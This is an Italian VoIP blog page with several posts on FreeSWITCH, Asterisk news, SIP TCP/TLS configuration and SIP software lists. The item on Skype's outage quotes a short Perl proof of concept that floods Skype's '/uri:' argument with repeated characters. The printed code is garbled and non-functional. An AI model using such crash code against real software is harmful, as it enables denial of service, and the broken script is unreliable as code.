Category: Sip

fireworks

FreeSWITCH e’ arrivato!

 

Dopo 3 anni di duro lavoro, Anthony Minessale c’e’ riuscito, la lista delle funzionalita’ e’ di sicuro molto interessante.

 

Certo alcune cose come ad esempio la lista dei codec supportati, l’hardware (zaptel e sangoma pri) o alcuni applicazioni faranno storcere il naso a qualcuno, non essendo allo stesso livello di Asteris, ma i vantaggi non sono pochi.

 

Per chi volesse FreeSWITCH puo’ addirittura essere integrato in altre applicazioni; vi consiglio di provarlo partendo dall’Installation guide per poi cominciare ad addentrarvi con la Getting Started guide.

 

Buon divertimento :)

 

per chi come me fosse stato in vacanza occupandosi di tutto tranne che di voip, ecco una breve panoramica su quanto e’ accaduto nel mondo di asterisk nel frattempo.

30 Luglio - nella mailing list -users di Asterisk e’ copraso un Load balacer per IAX2, che non necessita di Asterisk. Al momento a detta dell’autore e’ in fase di sviluppo, ma da test fatti e’ gia possibile utilizzarlo.
http://www.gradwell.com/tmp/iax_proxy.tar.gz

1 Agosto - SiVuS , e’ stata rilasciata la nuova versione 1.10 per Linux, uno scanner di vulnerabilita SIP.

3 Agosto - [OT] Google Phone, ennesimo annuncio, chissa

5 Agosto - AsterCRM, e’ nata un alternativa al famoso SugarCRM, pensata per Asterisk, le funzionalita‘ sono ovviamente minori, anche se al momento gia mostra Pop-up when dial in, PoP-up when dial out, Auto-complete, Click-to-dial, Transfer e Exension manager.

7 Agosto - Asterisk 1.2.24 and 1.4.10 released, nel comunicato si consiglia l’upgrade a chi utilizza chan_skinny, che soffriva dell’ennesimo bug. Per il resto sono stati effettuati numerosi fix, in particolare sul chan IAX2.

8 Agosto - chan_mobile, in asterisk_addons. Attraverso questo chan e’ possibile utilizzare cellulari bluetooth come FXO ed il microfono come FXO, bello no :)

14 Agosto - Iaxclient Branching off 2.0, e’ stato aperto il ramo 2.0 contenente il supporto video in modo ufficiale, prima era presente solo in svn.

15 Agosto - Lightweight Home Security with Indigo and Asterisk, ovvero domotica targata Asterisk,

16 Agosto - [OT ma doveroso] 14 Compleanno di Debian :D

17 Agosto - Skype, caduto! Le dichiarazioni uffciali negano la possibilita’ di un attacco, ma non molto tempo prima e’ stato pubblicato questo… che abbia influito?!

#!/usr/bin/perl
# Simle Code by Maranax Porex ;D
# Ya Skaypeg!!

for ($i=256; $i>xCCCCC; $i=$i+256){
$eot=’AAAA’ x $i;
call_sp();
}
exit;

sub call_sp(){
$str=â€?\â€?C:\\Program Files\\Skype\\Phone\\Skype.exe\â€? \â€?/uri:$eot\â€?”;
}

Recentemente, SMC ha fatto notizia per la violazione della GPL in uno dei loro prodotti, il WSKP100.
SMC WSKP100G
Il telefono WIFI, e’ commercio in versione Skype e SIP al doppio del prezzo, dei ragazzi hanno trovato come comprare quello skype e trasformarlo in SIP :)

In italia l’ho visto in vendita da Expansys, ad un prezzo pero importante, considerando che da Mediaworld il Gigaset C450IP (che e’ sip) costa 99e.

In -dev e’ apparsa un’interessante mail, riportata anche da SineApps, nella quale Russel Bryant spiega:

… working on various Asterisk bugs and new features. One of these has been working on TCP and TLS support for SIP. I think that there is still some work to be done to get the client side of TLS working, but it’s close. The TCP part appears to be working well in our tests here. Also, accepting TLS connections should be working, as well. I’d like to invite anyone interested to take a look and test it out.

Ecco come si porta’ usufruire del supporto TCP e TLS

Il TCP potra’ essere attivato da 3 opzioni nella sezione [general], tcpenable, tcpbinaddr e tcpbindport dai nomi piu che esaustivi.

Idem per il TLS con tlsenable, tlsbindaddr, tlsbindport, e tlscertfile.

Per quanto riguarda i peer ed i register, sara possibile specificare il tipo di protocollo in questo modo, per i peer inserendo come opzione “transport=tcp”, mentre per i register si scrivera’ :

register => tcp://russell:password@digium.com/1234

Sarebbe interessante capire se se un peer puo’ usufruire sia di TCP che di UDP, magari settando un transport=both, cosicche sia che utilizzi client UDP o TCP l’account sarebbe unico.

Ecco una lista di softphone e sdk sip:

Softphone SIP:

1. SFLphone - Uno softphone multi protocollo SIP/IAX, a differenza di altri l’aspetto e’ skinnabile ed e’ cross platform.

2. Linphone - E’ un client sip in grado di gestire anche il video e l’instant messaging. E’ disponibile per Linux, OpenBSD e FreeBSD.

3. OpenWengo - Direi che orami e’ famoso.

5. Cockatoo - Solo per linux, e’ un estensione per Thunderbird che permette di chiamare i propri contatti via SIP.

6. Twinkle - Twinkle SIP client scritto in QT.

SIP Sdk:

1. Minisip - E’ un framework sip sviluppato durante una tesi di laurea in Svezia. Supporta voce, video e im. E’ cross platform e compila anche su IPAQ e presto Windows mobile.

2. sipXtapi - Altro SDK SIP cross platform, con supporto anche per WinCE.

3. Open Source SIP - Open Source SIP creato nel Marzo 2006 e sponsorizzato da Solegy sulla base di 6 anni di esperienze.

4. MjSip - E’ uno stack SIP in Java sviluppato dall’universita di Parma.

5. OpenSIPStack - La scopo principale della libreria OpenSIPStack e’ fornire agli sviluppatori un interfaccia SIP aderente all’ RFC 3261 prestando particolare attenzione a scalabilita e sabilita’.
La libreria fornisce sia interfacce a basso livello e che ad alto, rendendono adatto sia per lo sviluppo di SIP Proxy che di Softphone o IM.

6. The GNU oSIP Library - Altra librerie ormai conosciuta per lo sviluppo di applicazioni SIP.

7. The eXtended osip Library - Lo scopo principale di questa libreria e’ quello nacondere la complessita’ del protocollo SIP, e di agevolarne l’uso in ambienti multimedia. Se non erro e’ lo stack utilizzato da OpenWengo.

8. Twisted - Per gli amanti di Python, le librerie Twisted implementano anche SIP :)

9. PJSIP - Stack maturo dalle dimensioni ridotte, scritto in C per applicazioni embedded e non.

10. sofia-sip - E’ lo stack sviluppato nei centri nokia, licenziato in LGPL.

Ne avevamo gia’ parlato tempo fa dopo il Von, ora Olle ci fornisce qualche notizia in piu:

…il nuovo chan avra supporto per “trunks”, “services” e “telefoni”. Sara’ piu domain-focused per supportare melgio il multihost. Supportera’ TCP e TLS anche in UDP ed avra’ supporto STUN come l’attuale canale per Google talk.

La data di rilascio per una versione adatta alla produzione e di 1 anno dal rilascio della 1.4 (che non e’ affatto poco)

Il progetto sara’ comunque disponibile nel server svn nel branch chiamato codname-pineapple il quale conterra’ chan_sip (veriosne 1) e chan_sip3. Al momento scaricarlo e’ un buon modo per sprecare banda e spazio sul proprio disco.

Cisco ha recentemente annunciato la disponibilità del supporto per il protocollo SIP per i suoi telefoni di fascia desktop.

Questa mossa permette di utilizzare tali apparati con tutti i PBX conformi allo standard SIP, quali ad esempio Asterisk o FreeSWITCH.

Sembrerebbe che proprio la disponibilità del supporto al protocollo SIP abbia permesso alla Sam Houston State University (SHSU) di migrare circa 6000 studenti da Cisco ad un IP-PBX basato su Asterisk, riducendo notevolmente i costi collegati all’operatività del sistema.

Per un’analisi più dettagliata sulle implicazioni di questo annuncio vi rimando a questo articolo (in inglese).

Nella mailing list -devel di Asterik sabato e’ apparso un messaggio che potra’ interesare molti di voi, Paulo Mannheimer della Instant Solutions ha scritto che durante la conferenza @VON annuncera’ la disponibilita’ di chan_skype.

In mailing list ci si e’ subito chiesti se fosse l’ennesimo tentativo o se fosse veramente un chan_ in grado di comunicare direttamente con skype. Oltre ai problemi tencici ricordo che Skype e’ un protocollo proprietario e cifrato, pertanto senza il consenso di Skype stesso non e’ possibilie utilizzare tale tecnologia.

La risposta a questa domanda e’ arrivata diretamente da P. Mannheimer che ha scritto

it’s true asterisk channel driver which communicates with a proprietary
middleware device driver.

We are trying to schedule a meeting with Greg Vance to sort out the best
way to license it.

Non ci resta che aspettare la fine di questa settimana per avere maggiori informazioni.

  • SIP Tunneling
  • DingoTel ha annunciato di aver sviluppato una tecnologia che permette di fare tunneling del protocollo SIP attraverso TCP, in modo da permettere la comunicazione anche attraverso i firewall più restrittivi. Al momento è possibile testare questa tecnologia con il loro softphone DingoTel 1.0.3.1 Alpha. Come illustrato nelle FAQ il servizio e’ compatibile con qualsiasi sistema SIP, ma il client per istaurare la connessione non è ancora stato rilasciato al pubblico, mentre il server rimarrà sotto il diretto controllo di DingoTel.

  • PGP e VoIP
  • Phil Zimmermann, creatore di PGP, e BorderWare Technologies hanno annunciato un accordo commerciale per l’uso della tecnologia Zfone all’interno della linea di prodotti “SIPassure SIP Firewall”.
    » Read the rest of the entry..

Abbiamo parlato si Skype, che come saprete e’ basato su un protocollo p2p… se non volete aspettare una qualche integrazione per il vostro sistema GNU/Linux con Asterisk, potete provare a consolarvi “abilitando” il P2P su SIP con Asterisk :)

L’articolo e’ liberamente tradotto da blyon.com, dovete potete leggere la versione originale in inglese.

» Read the rest of the entry..